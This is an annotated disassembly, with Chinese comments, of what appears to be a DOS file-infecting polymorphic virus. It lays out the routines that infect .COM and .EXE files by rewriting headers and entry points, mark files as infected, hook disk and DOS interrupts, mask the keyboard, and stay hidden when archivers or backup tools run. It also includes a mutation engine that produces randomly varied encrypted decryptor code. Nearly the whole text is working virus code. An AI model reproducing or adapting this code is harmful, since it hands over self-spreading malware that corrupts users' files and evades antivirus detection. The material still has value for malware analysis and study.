9E80:07E8 E99800         JMP	0883
9E80:07EB B8003D         MOV	AX,3D00
9E80:07EE 3DB445         CMP	AX,45B4
9E80:07F1 E8E501         CALL	09D9 		;将 INT 13 切换到 BIOS
9E80:07F4 E8CB02         CALL	0AC2 		;打开/复制文件
9E80:07F7 2EA3C30A       MOV	CS:[0AC3],AX
9E80:07FB B80844         MOV	AX,4408
9E80:07FE 99             CWD
9E80:07FF 727F           JB	0880
9E80:0801 E8A701         CALL	09AB		;取系统文件表项
9E80:0804 7275           JB	087B 		;出错退出
9E80:0806 7573           JNZ	087B 		;已传染退出
9E80:0808 B33F           MOV	BL,3F
9E80:080A 225D05         AND	BL,[DI+05] 	;设备信息字
9E80:080D 8AD3           MOV	DL,BL 		;DL = 驱动器号 (A=0,B=1...)
9E80:080F 43             INC	BX 		;BX = 驱动器号 (A=1,B=2...)
9E80:0810 E8B202         CALL	0AC5 		;DOS 4408 功能
9E80:0813 B90100         MOV	CX,0001 	;检测块设备是否可移动
9E80:0816 0E             PUSH	CS
9E80:0817 07             POP	ES
9E80:0818 7205           JB	081F
9E80:081A 48             DEC	AX
9E80:081B 7418           JZ	0835 		;固定设备转 0835
9E80:081D EB05           JMP	0824 		;非可移动设备退出
9E80:081F 80FA01         CMP	DL,01
9E80:0822 7711           JA	0835 		;C 盘以上不用检测
9E80:0824 B80102         MOV	AX,0201 	;如果是软盘,检测写保护
9E80:0827 BB1314         MOV	BX,1413 	;先读出
9E80:082A CD13           INT	13
9E80:082C 724D           JB	087B
9E80:082E B80103         MOV	AX,0301 	;再写入
9E80:0831 CD13           INT	13
9E80:0833 7246           JB	087B 		;无法写入退出(写保护)
9E80:0835 41             INC	CX
9E80:0836 874D02         XCHG	CX,[DI+02] 	;设置文件打开方式为写打开
9E80:0839 51             PUSH	CX 		;保存原打开方式
9E80:083A 33C0           XOR	AX,AX
9E80:083C 866504         XCHG	AH,[DI+04] 	;文件属性
9E80:083F F6C404         TEST	AH,04 		;系统属性退出
9E80:0842 50             PUSH	AX 		;保存文件属性
9E80:0843 7530           JNZ	0875
9E80:0845 98             CBW
9E80:0846 99             CWD	 		;AX 清零
9E80:0847 874515         XCHG	AX,[DI+15] 	;移动文件指针到文件头
9E80:084A 875517         XCHG	DX,[DI+17]
9E80:084D 50             PUSH	AX 		;保存原文件指针
9E80:084E 52             PUSH	DX
9E80:084F BDBDB0         MOV	BP,B0BD 	;扩展名不为 "COM"
9E80:0852 036D28         ADD	BP,[DI+28] 	;转 085D
9E80:0855 7506           JNZ	085D
9E80:0857 BDB1B2         MOV	BP,B2B1
9E80:085A 036D29         ADD	BP,[DI+29]
9E80:085D E86900         CALL	08C9            ;执行传染子程序
9E80:0860 9C             PUSHF
9E80:0861 E84701         CALL	09AB 		;取系统文件表项
9E80:0864 9D             POPF
9E80:0865 7204           JB	086B
9E80:0867 804510C8       ADD	Byte Ptr [DI+10],C8 	;文件年份+100
9E80:086B 804D0640       OR	Byte Ptr [DI+06],40	;关闭时不设置时间
9E80:086F 8F4517         POP	[DI+17] 	;恢复系统文件表项
9E80:0872 8F4515         POP	[DI+15] 	;中相应内容
9E80:0875 8F4503         POP	[DI+03]
9E80:0878 8F4502         POP	[DI+02]
9E80:087B B43E           MOV	AH,3E		;关闭文件
9E80:087D E84202         CALL	0AC2
9E80:0880 E85601         CALL	09D9 		;将 INT 13 恢复到 DOS
9E80:0883 E89801         CALL	0A1E 		;恢复 INT 24 及键盘状态
9E80:0886 0E             PUSH	CS
9E80:0887 1F             POP	DS
9E80:0888 B001           MOV	AL,01
9E80:088A BFE313         MOV	DI,13E3
9E80:088D 38452E         CMP	[DI+2E],AL	;??????
9E80:0890 7532           JNZ	08C4 		;放弃重新截取 INT 21 ????
9E80:0892 E82EF8         CALL	00C3		;取中断向量 01
9E80:0895 891D           MOV	[DI],BX
9E80:0897 8C4502         MOV	[DI+02],ES 	;保存于 13E3
9E80:089A C6452F05       MOV	Byte Ptr [DI+2F],05
9E80:089E C60697023F     MOV	Byte Ptr [0297],3F
9E80:08A3 BA7702         MOV	DX,0277 	;设置中断向量 01
9E80:08A6 E82BF8         CALL	00D4 		;到 CS:0277
9E80:08A9 E856F8         CALL	0102 		;POPA
9E80:08AC 56             PUSH	SI
9E80:08AD 9C             PUSHF
9E80:08AE 5E             POP	SI 		;标志 FLAG => SI
9E80:08AF E8BEF9         CALL	0270 		;启动 INT 01 (重新截取INT 21用)
9E80:08B2 5E             POP	SI 		;本句转 INT 01 (0277) 执行
9E80:08B3 FA             CLI
9E80:08B4 2E8E16D512     MOV	SS,CS:[12D5] 	;恢复原堆栈
9E80:08B9 2E8B26D712     MOV	SP,CS:[12D7]
9E80:08BE FB             STI	 		;转原 INT 21
9E80:08BF 2EFF2EFB13     JMP	FAR CS:[13FB]
;=========================================================================
9E80:08C4 E83BF8         CALL	0102 		;POPA
9E80:08C7 EBEA           JMP	08B3 		;
;=========================================================================
9E80:08C9 0E             PUSH	CS 		;传染子程序
9E80:08CA 1F             POP	DS
9E80:08CB E83D01         CALL	0A0B 		;读文件头 18H => 1270
9E80:08CE 7244           JB	0914
9E80:08D0 8BF2           MOV	SI,DX
9E80:08D2 BF8812         MOV	DI,1288 	;文件头 18H 移动到 1288
9E80:08D5 FC             CLD	 		;准备修改
9E80:08D6 F3             REPZ
9E80:08D7 A4             MOVSB
9E80:08D8 E8D000         CALL	09AB 		;取系统文件表项
9E80:08DB C44511         LES	AX,[DI+11] 	;文件大小 DX:AX
9E80:08DE 8CC2           MOV	DX,ES
9E80:08E0 894515         MOV	[DI+15],AX 	;移动文件指针 => 文件尾
9E80:08E3 895517         MOV	[DI+17],DX
9E80:08E6 0E             PUSH	CS
9E80:08E7 0E             PUSH	CS
9E80:08E8 07             POP	ES
9E80:08E9 1F             POP	DS
9E80:08EA 8B0C           MOV	CX,[SI] 	;文件头 2 字节
9E80:08EC 81F95A4D       CMP	CX,4D5A
9E80:08F0 7424           JZ	0916
9E80:08F2 81F94D5A       CMP	CX,5A4D
9E80:08F6 741E           JZ	0916 		;.EXE 文件转 0916
;==========================================================================
9E80:08F8 0BD5           OR	DX,BP 		;传染 .COM 文件
9E80:08FA 7518           JNZ	0914
9E80:08FC 3D14ED         CMP	AX,ED14 	; > 60692 字节不传染
9E80:08FF 7713           JA	0914
9E80:0901 3DE803         CMP	AX,03E8 	; < 1000 字节不传染
9E80:0904 720E           JB	0914
9E80:0906 C604E9         MOV	Byte Ptr [SI],E9 	;文件头改为 JMP XXXX
9E80:0909 FEC4           INC	AH 		;ADD AX,100H
9E80:090B 50             PUSH	AX 		;.COM 文件入口 11DA
9E80:090C 05D710         ADD	AX,10D7 	;(0100+0003+10D7)
9E80:090F 894401         MOV	[SI+01],AX
9E80:0912 EB7B           JMP	098F
9E80:0914 F9             STC
9E80:0915 C3             RET
;===========================================================================
9E80:0916 837C0CFF       CMP	Word Ptr [SI+0C],-01 	;传染 .EXE 文件
9E80:091A 75F8           JNZ	0914 		;要分配内存不为 -1 返回
9E80:091C 8BE8           MOV	BP,AX
9E80:091E 8BFA           MOV	DI,DX 		;DI:BP = 文件长
9E80:0920 B90002         MOV	CX,0200
9E80:0923 F7F1           DIV	CX
9E80:0925 0BD2           OR	DX,DX
9E80:0927 7401           JZ	092A
9E80:0929 40             INC	AX
9E80:092A 2B4404         SUB	AX,[SI+04]
9E80:092D 75E5           JNZ	0914
9E80:092F 2B5402         SUB	DX,[SI+02] 	;文件有覆盖部分不传染
9E80:0932 75E0           JNZ	0914
9E80:0934 B88812         MOV	AX,1288
9E80:0937 03C5           ADD	AX,BP
9E80:0939 13D7           ADC	DX,DI 		;DX:AX = 新文件长
9E80:093B F7F1           DIV	CX
9E80:093D 0BD2           OR	DX,DX
9E80:093F 7401           JZ	0942
9E80:0941 40             INC	AX
9E80:0942 894404         MOV	[SI+04],AX
9E80:0945 895402         MOV	[SI+02],DX 	;新映象长度
9E80:0948 BB90E9         MOV	BX,E990
9E80:094B 33C9           XOR	CX,CX
9E80:094D 3BEB           CMP	BP,BX
9E80:094F 7205           JB	0956
9E80:0951 83ED10         SUB	BP,+10
9E80:0954 E2F7           LOOP	094D
9E80:0956 83FF0F         CMP	DI,+0F 		;文件长 > 640K 不传染
9E80:0959 77B9           JA	0914
9E80:095B 91             XCHG	AX,CX 		;文件长低位 > E990 部分
9E80:095C B104           MOV	CL,04 		;转移到 DI
9E80:095E D3CF           ROR	DI,CL 		;
9E80:0960 0BC0           OR	AX,AX
9E80:0962 7404           JZ	0968
9E80:0964 2BF8           SUB	DI,AX 		;DIx10 + BP = 文件长
9E80:0966 73AC           JNB	0914
9E80:0968 2B7C08         SUB	DI,[SI+08] 	;减去文件头长
9E80:096B 55             PUSH	BP
9E80:096C 81C5DA11       ADD	BP,11DA 	;新入口 : 11DA
9E80:0970 896C14         MOV	[SI+14],BP 	;新 CS:IP
9E80:0973 897C16         MOV	[SI+16],DI
9E80:0976 81C50002       ADD	BP,0200 	;新 CS:IP+0200
9E80:097A 896C10         MOV	[SI+10],BP 	;为新堆栈
9E80:097D 897C0E         MOV	[SI+0E],DI
9E80:0980 BD0080         MOV	BP,8000
9E80:0983 D3FB           SAR	BX,CL 		;BX = E990,CL=4
9E80:0985 8B440A         MOV	AX,[SI+0A] 	;分配最小内存
9E80:0988 2BC3           SUB	AX,BX
9E80:098A 7303           JNB	098F
9E80:098C 89440A         MOV	[SI+0A],AX
;=======================================================================
9E80:098F 58             POP	AX 		;.COM 由此入
9E80:0990 E83F01         CALL	0AD2 		;产生加密代码
9E80:0993 55             PUSH	BP
9E80:0994 9D             POPF
9E80:0995 7213           JB	09AA
9E80:0997 E81100         CALL	09AB 		;取系统文件表项
9E80:099A 894D15         MOV	[DI+15],CX 	;文件指针移动到文件头
9E80:099D 894D17         MOV	[DI+17],CX
9E80:09A0 B440           MOV	AH,40
9E80:09A2 BA8812         MOV	DX,1288
9E80:09A5 0E             PUSH	CS
9E80:09A6 1F             POP	DS
9E80:09A7 E86900         CALL	0A13 		;写新文件头 18H 字节
9E80:09AA C3             RET
;=======================================================================
;取系统文件表项于 ES:DI
;返回 CY 不传染, NZ = 已传染
9E80:09AB 50             PUSH	AX
9E80:09AC 53             PUSH	BX
9E80:09AD B82012         MOV	AX,1220
9E80:09B0 2E8B1EC30A     MOV	BX,CS:[0AC3]
9E80:09B5 CD2F           INT	2F 		;取文件表地址
9E80:09B7 721D           JB	09D6
9E80:09B9 B81612         MOV	AX,1216
9E80:09BC 268A1D         MOV	BL,ES:[DI]
9E80:09BF 80FBFF         CMP	BL,FF
9E80:09C2 F5             CMC
9E80:09C3 7411           JZ	09D6
9E80:09C5 CD2F           INT	2F 		;取系统文件表项
9E80:09C7 720D           JB	09D6
9E80:09C9 06             PUSH	ES
9E80:09CA 1F             POP	DS
9E80:09CB F6450580       TEST	Byte Ptr [DI+05],80
9E80:09CF F5             CMC	 		;先设置为 CY
9E80:09D0 7504           JNZ	09D6 		;远程文件不传染
9E80:09D2 F6451080       TEST	Byte Ptr [DI+10],80
9E80:09D6 5B             POP	BX 		;判是否已传染
9E80:09D7 58             POP	AX 		;没有传染返回 NZ,NC
9E80:09D8 C3             RET
;==========================================================================
;切换 INT 13 / INT 14 / INT 15 / INT 40
;(DOS INT 与 BIOS 初始 INT 之间)
9E80:09D9 50             PUSH	AX
9E80:09DA 53             PUSH	BX
9E80:09DB 52             PUSH	DX
9E80:09DC 1E             PUSH	DS
9E80:09DD B013           MOV	AL,13
9E80:09DF BFEB13         MOV	DI,13EB
9E80:09E2 0E             PUSH	CS
9E80:09E3 1F             POP	DS
9E80:09E4 E8DCF6         CALL	00C3 		;取中断向量
9E80:09E7 8CC2           MOV	DX,ES 		;于 ES:BX
9E80:09E9 871D           XCHG	BX,[DI] 	;保存于 13EB
9E80:09EB FC             CLD
9E80:09EC AF             SCASW
9E80:09ED 87D3           XCHG	DX,BX
9E80:09EF 871D           XCHG	BX,[DI]
9E80:09F1 AF             SCASW
9E80:09F2 8EDB           MOV	DS,BX
9E80:09F4 E8DDF6         CALL	00D4 		;设置 BIOS 初始值
9E80:09F7 3C15           CMP	AL,15
9E80:09F9 B015           MOV	AL,15
9E80:09FB 7305           JNB	0A02
9E80:09FD 83C704         ADD	DI,+04
9E80:0A00 EBE0           JMP	09E2
9E80:0A02 B040           MOV	AL,40
9E80:0A04 74DC           JZ	09E2
9E80:0A06 1F             POP	DS
9E80:0A07 5A             POP	DX
9E80:0A08 5B             POP	BX
9E80:0A09 58             POP	AX
9E80:0A0A C3             RET
;==========================================================================
;0A0B  读文件头 18 字节到 1270
;0A0E  写文件头 18 字节
9E80:0A0B B43F           MOV	AH,3F
9E80:0A0D 3DB440         CMP	AX,40B4
9E80:0A10 BA7012         MOV	DX,1270
9E80:0A13 B91800         MOV	CX,0018
9E80:0A16 E8A900         CALL	0AC2
9E80:0A19 7202           JB	0A1D
9E80:0A1B 2BC1           SUB	AX,CX
9E80:0A1D C3             RET
;==========================================================================
9E80:0A1E B024           MOV	AL,24		;设置新 INT 24
9E80:0A20 2EC516E713     LDS	DX,CS:[13E7]
9E80:0A25 E8ACF6         CALL	00D4
9E80:0A28 E421           IN	AL,21		;屏蔽键盘
9E80:0A2A 24FD           AND	AL,FD
9E80:0A2C E621           OUT	21,AL
9E80:0A2E C3             RET
;==========================================================================
9E80:0A2F 894610         MOV	[BP+10],AX
9E80:0A32 9C             PUSHF
9E80:0A33 8F4612         POP	[BP+12]
9E80:0A36 C3             RET
;=========================================================================
;判断 INT 21 是否在压缩程序中调用
;如果在压缩程序中调用, 则欺骗功能不使用
9E80:0A37 50             PUSH	AX
9E80:0A38 51             PUSH	CX
9E80:0A39 56             PUSH	SI
9E80:0A3A 57             PUSH	DI
9E80:0A3B 06             PUSH	ES
9E80:0A3C B002           MOV	AL,02
9E80:0A3E 0AC0           OR	AL,AL
9E80:0A40 753E           JNZ	0A80
9E80:0A42 E84B00         CALL	0A90 		;取当前执行文件名
9E80:0A45 268B05         MOV	AX,ES:[DI] 	;于 ES:DI
9E80:0A48 3D4152         CMP	AX,5241 	; "AR" = ARJ
9E80:0A4B 7433           JZ	0A80
9E80:0A4D 3D4C48         CMP	AX,484C 	; "LH" = LHA
9E80:0A50 742E           JZ	0A80
9E80:0A52 3D504B         CMP	AX,4B50 	; "PK" = PKZIP
9E80:0A55 7429           JZ	0A80 		;如果是以上文件,返回 ZR
9E80:0A57 B90200         MOV	CX,0002
9E80:0A5A BE860A         MOV	SI,0A86
9E80:0A5D 51             PUSH	CX
9E80:0A5E 57             PUSH	DI
9E80:0A5F B108           MOV	CL,08
9E80:0A61 2EAC           LODSB	CS:
9E80:0A63 346C           XOR	AL,6C		;判断是否 BACKUP
9E80:0A65 F2             REPNZ			;或 MODEM
9E80:0A66 AE             SCASB
9E80:0A67 7510           JNZ	0A79 		;0A86 及 0A8B
9E80:0A69 80F903         CMP	CL,03 		;处为加密的字符串
9E80:0A6C 720B           JB	0A79 		;BACK 及 MODEM
9E80:0A6E B104           MOV	CL,04
9E80:0A70 2EAC           LODSB	CS:
9E80:0A72 346C           XOR	AL,6C
9E80:0A74 7403           JZ	0A79
9E80:0A76 AE             SCASB
9E80:0A77 E1F7           LOOPZ	0A70
9E80:0A79 BE8B0A         MOV	SI,0A8B
9E80:0A7C 5F             POP	DI
9E80:0A7D 59             POP	CX
9E80:0A7E E0DD           LOOPNZ	0A5D
9E80:0A80 07             POP	ES
9E80:0A81 5F             POP	DI
9E80:0A82 5E             POP	SI
9E80:0A83 59             POP	CX
9E80:0A84 58             POP	AX
9E80:0A85 C3             RET
9E80:0A86                    2E 2D-2F 27 6C 21 23 28 29 21        ..........
;=======================================================================
;从 MCB 中取执行文件名到 ES:DI
9E80:0A90 50             PUSH	AX
9E80:0A91 53             PUSH	BX
9E80:0A92 B462           MOV	AH,62
9E80:0A94 E82E00         CALL	0AC5 		;当前 PSP
9E80:0A97 4B             DEC	BX 		;执行程序的 MCB
9E80:0A98 8EC3           MOV	ES,BX
9E80:0A9A BF0800         MOV	DI,0008 	;MCB:0008 = 执行文件名
9E80:0A9D FC             CLD
9E80:0A9E 5B             POP	BX
9E80:0A9F 58             POP	AX
9E80:0AA0 C3             RET
;==================================================================
;取 DTA 地址
9E80:0AA1 B42F           MOV	AH,2F
9E80:0AA3 E81F00         CALL	0AC5
9E80:0AA6 06             PUSH	ES
9E80:0AA7 1F             POP	DS
9E80:0AA8 C3             RET
;==================================================================
病毒执行 INT 13 ???
9E80:0AA9 E838F7         CALL	01E4
9E80:0AAC 9C             PUSHF
9E80:0AAD 2EFF1EEF13     CALL	FAR CS:[13EF]
9E80:0AB2 E82FF7         CALL	01E4
9E80:0AB5 C3             RET
;===================================================================
9E80:0AB6 F6C280         TEST	DL,80
9E80:0AB9 7410           JZ	0ACB
9E80:0ABB 9C             PUSHF
9E80:0ABC 2EFF1EEB13     CALL	FAR CS:[13EB]
9E80:0AC1 C3             RET
9E80:0AC2 BB0100         MOV	BX,0001
9E80:0AC5 9C             PUSHF
9E80:0AC6 0E             PUSH	CS
9E80:0AC7 E8F5FD         CALL	08BF
9E80:0ACA C3             RET
9E80:0ACB 9C             PUSHF
9E80:0ACC 2EFF1EF713     CALL	FAR CS:[13F7]
9E80:0AD1 C3             RET
;========================================================================
;	产生变型加密代码
;	输入 : AX = IP 入口	BP = 0 (.COM) = 8000 (.EXE)
;========================================================================
; 子程序中用到的一些数据
; BP : 8-15 位用作标志   0-7 位用作寄存器是否已使用标志,一位代表一个寄存器
;	BIT 8 (0100)==不执行产生随机代码子程序
;	BIT 9 (0200)==产生指令时保存指令到 [1410]
;	BIT 10(0400)==在变型解密算法中,CX为密匙寄存器,0C7C子程序已执行
;	BIT 11(0800)==随机无效指令中不能改变 CY 标志
;	BIT 12(1000)==
;	BIT 13(2000)==在长度寄存器为CX时,寄存器减一子程序中CX未减
;	BIT 14(4000)==?????
;	BIT 15(8000)==被传染程序为 .EXE 文件
; [11A3] = 密匙值
; [1104] = 入口 IP 值		[1406] = 解密指针偏移
; [1108] = 加密算法指令指针	[110A] = 加密算法指令结束指针
; [140C] = 密匙寄存器 		[140D] = 计数寄存器
; [140E] = 指针寄存器之一	[140F] = 指针寄存器之二
; [1410] = 上个随机指令
9E80:0AD2 A30414         MOV	[1404],AX
9E80:0AD5 BFDA11         MOV	DI,11DA 	;加密代码存放于 11DA
9E80:0AD8 BB330E         MOV	BX,0E33 	;按随机顺序执行
9E80:0ADB B9210E         MOV	CX,0E21 	;0E33 0E21 和 0E40
9E80:0ADE BA400E         MOV	DX,0E40 	;产生密匙/计数/指针
9E80:0AE1 BE5311         MOV	SI,1153 	;三种寄存器的原始数据
9E80:0AE4 81CDEF00       OR	BP,00EF
9E80:0AE8 E84506         CALL	1130 		;随机执行
9E80:0AEB 57             PUSH	DI
9E80:0AEC 57             PUSH	DI
9E80:0AED BE9E11         MOV	SI,119E
9E80:0AF0 BFA012         MOV	DI,12A0
9E80:0AF3 B93500         MOV	CX,0035
9E80:0AF6 F3             REPZ
9E80:0AF7 A4             MOVSB
9E80:0AF8 C7060814AC12   MOV	Word Ptr [1408],12AC 	;加密算法代码指针
9E80:0AFE 5F             POP	DI
9E80:0AFF BBA80C         MOV	BX,0CA8 	;随机执行 0CA8/0D9E/0C7C/0C57
9E80:0B02 B99E0D         MOV	CX,0D9E 	;计数寄存器加一
9E80:0B05 BA7C0C         MOV	DX,0C7C 	;指针寄存器加二
9E80:0B08 BE570C         MOV	SI,0C57 	;指针寄存器处数据解密
9E80:0B0B E82206         CALL	1130 		;随机决定是否每次改变密匙
9E80:0B0E B80200         MOV	AX,0002
9E80:0B11 50             PUSH	AX
9E80:0B12 E85106         CALL	1166
9E80:0B15 58             POP	AX
9E80:0B16 7406           JZ	0B1E
9E80:0B18 F7C50040       TEST	BP,4000
9E80:0B1C 755C           JNZ	0B7A
9E80:0B1E E84506         CALL	1166
9E80:0B21 7406           JZ	0B29
9E80:0B23 F7C50020       TEST	BP,2000
9E80:0B27 7551           JNZ	0B7A
;===========================================================================
; 测试计数寄存器分支之一: ADD R_计数,0
9E80:0B29 81CD0008       OR	BP,0800 	;设置随机指令不能改变标志 CY
9E80:0B2D B80200         MOV	AX,0002
9E80:0B30 99             CWD	 		;DX = 0
9E80:0B31 E83206         CALL	1166
9E80:0B34 A00D14         MOV	AL,[140D] 	;计数寄存器
9E80:0B37 750F           JNZ	0B48
9E80:0B39 E81E06         CALL	115A
9E80:0B3C 7505           JNZ	0B43
9E80:0B3E E84C04         CALL	0F8D 		;ADD R_AL,0
9E80:0B41 EB37           JMP	0B7A
9E80:0B43 E8E103         CALL	0F27 		;ADD R_AL,0
9E80:0B46 EB32           JMP	0B7A
9E80:0B48 B103           MOV	CL,03
9E80:0B4A 8AE8           MOV	CH,AL
9E80:0B4C D2E5           SHL	CH,CL
9E80:0B4E 0AC5           OR	AL,CH 		;mm r/m 及 rrr = R_AL
9E80:0B50 BB0200         MOV	BX,0002
9E80:0B53 E8FE05         CALL	1154
9E80:0B56 750D           JNZ	0B65
9E80:0B58 0DC009         OR	AX,09C0 	;09 C0 = OR R_AL,R_AL
9E80:0B5B E8FC05         CALL	115A
9E80:0B5E 7510           JNZ	0B70
9E80:0B60 80CC02         OR	AH,02 		;0B C0 = OR R_AL,R_AL
9E80:0B63 EB0B           JMP	0B70
9E80:0B65 4B             DEC	BX
9E80:0B66 7505           JNZ	0B6D
9E80:0B68 0DC021         OR	AX,21C0 	;21 C0 = AND R_AL,R_AL
9E80:0B6B EBEE           JMP	0B5B
9E80:0B6D 0DC085         OR	AX,85C0 	;85 C0 = TEST R_AL,R_AL
9E80:0B70 86C4           XCHG	AL,AH 		;保存测试指令
9E80:0B72 AB             STOSW
9E80:0B73 81CD0018       OR	BP,1800 	;无效指令中不能改变标志 CY
9E80:0B77 E8AF04         CALL	1029
;
9E80:0B7A 81E5FFF7       AND	BP,F7FF 	;消 0800, 可以改变 CY
9E80:0B7E F7C50020       TEST	BP,2000 	;计数寄存器为 CX 时未减一
9E80:0B82 741A           JZ	0B9E
9E80:0B84 B0E2           MOV	AL,E2 		;E2 = LOOP
9E80:0B86 F7C50010       TEST	BP,1000
9E80:0B8A 7464           JZ	0BF0
9E80:0B8C E8CB05         CALL	115A
9E80:0B8F 755F           JNZ	0BF0
9E80:0B91 48             DEC	AX 		;E1 = LOOPZ
9E80:0B92 E8C505         CALL	115A
9E80:0B95 752A           JNZ	0BC1
9E80:0B97 48             DEC	AX 		;E0 = LOOPNZ
9E80:0B98 EB56           JMP	0BF0
; 使用 LOOP/LOOPNZ loop_addr 方式转 0BF0
; 使用 LOOPZ next, JMP loop_addr 方式转 0BC1
9E80:0B9A 75 79 7D 7F    JNZ/JNS/JGE/JG
9E80:0B9E BB9A0B         MOV	BX,0B9A 	;生成跳转指令
9E80:0BA1 B80300         MOV	AX,0003
9E80:0BA4 E8BF05         CALL	1166
9E80:0BA7 D7             XLAT
9E80:0BA8 BB0200         MOV	BX,0002
9E80:0BAB E8A605         CALL	1154
9E80:0BAE 7540           JNZ	0BF0
9E80:0BB0 803E0D1401     CMP	Byte Ptr [140D],01 	;计数寄存器为 CX
9E80:0BB5 7509           JNZ	0BC0
9E80:0BB7 B304           MOV	BL,04
9E80:0BB9 E89805         CALL	1154
9E80:0BBC 7502           JNZ	0BC0
; 转 0BC0 : 使用 JNZ/JNS/JGE/JG loop 方式
;======================================================================
; 分支之一: 使用 JCXZ/JZ/JS/JL/JLE next, JMP/JNZ/JNS/JGE/JG loop_addr 方式
9E80:0BBE B0E4           MOV	AL,E4 		;E3 = JCXZ
9E80:0BC0 48             DEC	AX 		;
9E80:0BC1 AB             STOSW
9E80:0BC2 3C7F           CMP	AL,7F 		;使用 JCXZ, 第二部分只用 JMP
9E80:0BC4 7709           JA	0BCF
9E80:0BC6 E89105         CALL	115A
9E80:0BC9 7504           JNZ	0BCF
9E80:0BCB 81CD0008       OR	BP,0800 	;随机指令不能改变 CY
9E80:0BCF 8BF7           MOV	SI,DI
9E80:0BD1 E85504         CALL	1029
9E80:0BD4 8D44FE         LEA	AX,[SI-02]
9E80:0BD7 2BC7           SUB	AX,DI
9E80:0BD9 F6D8           NEG	AL
9E80:0BDB 8844FF         MOV	[SI-01],AL
9E80:0BDE F7C50008       TEST	BP,0800
9E80:0BE2 B0EB           MOV	AL,EB 		;EB = JMP next_addr
9E80:0BE4 740A           JZ	0BF0
9E80:0BE6 B80300         MOV	AX,0003 	;
9E80:0BE9 E87A05         CALL	1166
9E80:0BEC BB9A0B         MOV	BX,0B9A
9E80:0BEF D7             XLAT
9E80:0BF0 AA             STOSB	 		;跳转指令部分
9E80:0BF1 58             POP	AX 		;第二部分开始指针
9E80:0BF2 48             DEC	AX
9E80:0BF3 2BC7           SUB	AX,DI 		;跳转偏移部分
9E80:0BF5 AA             STOSB
9E80:0BF6 81CDEF00       OR	BP,00EF 	;能使用全部寄存器
9E80:0BFA 81E5FFF7       AND	BP,F7FF 	;清不能改变标志 CY
9E80:0BFE E82804         CALL	1029 		;插入随机指令
9E80:0C01 B81300         MOV	AX,0013
9E80:0C04 E85F05         CALL	1166
9E80:0C07 7533           JNZ	0C3C
9E80:0C09 A10414         MOV	AX,[1404]
9E80:0C0C 057203         ADD	AX,0372
9E80:0C0F 92             XCHG	AX,DX
9E80:0C10 E8ED04         CALL	1100
9E80:0C13 E88B02         CALL	0EA1
9E80:0C16 0DE0FF         OR	AX,FFE0
9E80:0C19 E83E05         CALL	115A
9E80:0C1C 7504           JNZ	0C22
9E80:0C1E 86C4           XCHG	AL,AH
9E80:0C20 EB23           JMP	0C45
9E80:0C22 BB0200         MOV	BX,0002
9E80:0C25 E82C05         CALL	1154
9E80:0C28 7507           JNZ	0C31
9E80:0C2A 3410           XOR	AL,10
9E80:0C2C 86C4           XCHG	AL,AH
9E80:0C2E AB             STOSW
9E80:0C2F EB03           JMP	0C34
9E80:0C31 34B0           XOR	AL,B0
9E80:0C33 AA             STOSB
9E80:0C34 E8F203         CALL	1029
9E80:0C37 B0C3           MOV	AL,C3
9E80:0C39 AA             STOSB
9E80:0C3A EB0A           JMP	0C46
9E80:0C3C B0E9           MOV	AL,E9
9E80:0C3E AA             STOSB
9E80:0C3F 8D8590FC       LEA	AX,[DI+FC90]
9E80:0C43 F7D8           NEG	AX
9E80:0C45 AB             STOSW
9E80:0C46 8B360A14       MOV	SI,[140A]
9E80:0C4A 81FF7012       CMP	DI,1270
9E80:0C4E 7204           JB	0C54
9E80:0C50 F9             STC
9E80:0C51 9C             PUSHF
9E80:0C52 5D             POP	BP
9E80:0C53 C3             RET
9E80:0C54 E94906         JMP	12A0
;==========================================================================
; 由 0B08 调用, 生成指针寄存器加二指令
; 单寄存器时为 寄存器加二
; 双寄存器时为 寄存器加二 或 随机将两个寄存器加一
9E80:0C57 A10E14         MOV	AX,[140E] 	;AH = 第二指针寄存器
9E80:0C5A BA0200         MOV	DX,0002 	;AL = 第一指针寄存器
9E80:0C5D 80FCFF         CMP	AH,FF
9E80:0C60 7412           JZ	0C74
9E80:0C62 E8F504         CALL	115A
9E80:0C65 7506           JNZ	0C6D 		;分支之一
9E80:0C67 4A             DEC	DX
9E80:0C68 E80200         CALL	0C6D
9E80:0C6B EB05           JMP	0C72
9E80:0C6D E8EA04         CALL	115A 		;分支之二
9E80:0C70 7502           JNZ	0C74
9E80:0C72 86C4           XCHG	AL,AH 		;随机将第一或第二指针寄存器加一
9E80:0C74 E81603         CALL	0F8D 		;分支之三
9E80:0C77 29160614       SUB	[1406],DX 	;0F8D 为 ADD R_AL,数_DX
9E80:0C7B C3             RET	 		;[1406] 为指针偏移
;===========================================================================
; 由 0B05 处调用, 生成计数寄存器减一指令
; 如果 计数寄存器 = CX
; 在以后再减 (设置 BP 2000 为标志)
9E80:0C7C 81FE7C0C       CMP	SI,0C7C 	;非最后调用转 0C8B
9E80:0C80 7509           JNZ	0C8B
9E80:0C82 E8D504         CALL	115A 		;
9E80:0C85 7504           JNZ	0C8B
9E80:0C87 81CD0048       OR	BP,4800 	;01001000
9E80:0C8B A00D14         MOV	AL,[140D] 	;密文长度寄存器
9E80:0C8E 3C01           CMP	AL,01
9E80:0C90 750B           JNZ	0C9D
9E80:0C92 E8C504         CALL	115A 		;寄存器为 CX
9E80:0C95 7506           JNZ	0C9D
9E80:0C97 81CD0020       OR	BP,2000 	;寄存器为 CX, BP 设置为 2000
9E80:0C9B EB06           JMP	0CA3 		;且不执行 SUB R_AL,1 指令
9E80:0C9D BAFFFF         MOV	DX,FFFF 	;寄存器不是 CX
9E80:0CA0 E8EA02         CALL	0F8D 		;产生SUB R_AL,1 (ADD R_AL,-1)
9E80:0CA3 81CD0004       OR	BP,0400 	;设置 0400
9E80:0CA7 C3             RET
;===========================================================================
; 由 0AFF 处调用, 生成加密及解密代码
; 可能性: ADC/SBB/XOR/ROL/ROR ==> 11/19/31/D3/D3
9E80:0CA8 55             PUSH	BP
9E80:0CA9 81E5FFFB       AND	BP,FBFF 	;1011
9E80:0CAD A00C14         MOV	AL,[140C] 	;密匙寄存器
9E80:0CB0 50             PUSH	AX
9E80:0CB1 B80400         MOV	AX,0004
9E80:0CB4 E8AF04         CALL	1166
9E80:0CB7 BB0501         MOV	BX,0105 	;加密算法
9E80:0CBA B91911         MOV	CX,1119 	;解密变型算法
9E80:0CBD BA0529         MOV	DX,2905		;加密算法
9E80:0CC0 742B           JZ	0CED
9E80:0CC2 48             DEC	AX
9E80:0CC3 7424           JZ	0CE9
9E80:0CC5 48             DEC	AX
9E80:0CC6 7507           JNZ	0CCF
;分支之一:
9E80:0CC8 B731           MOV	BH,31		;BH = 31, 解密变型算法为 XOR
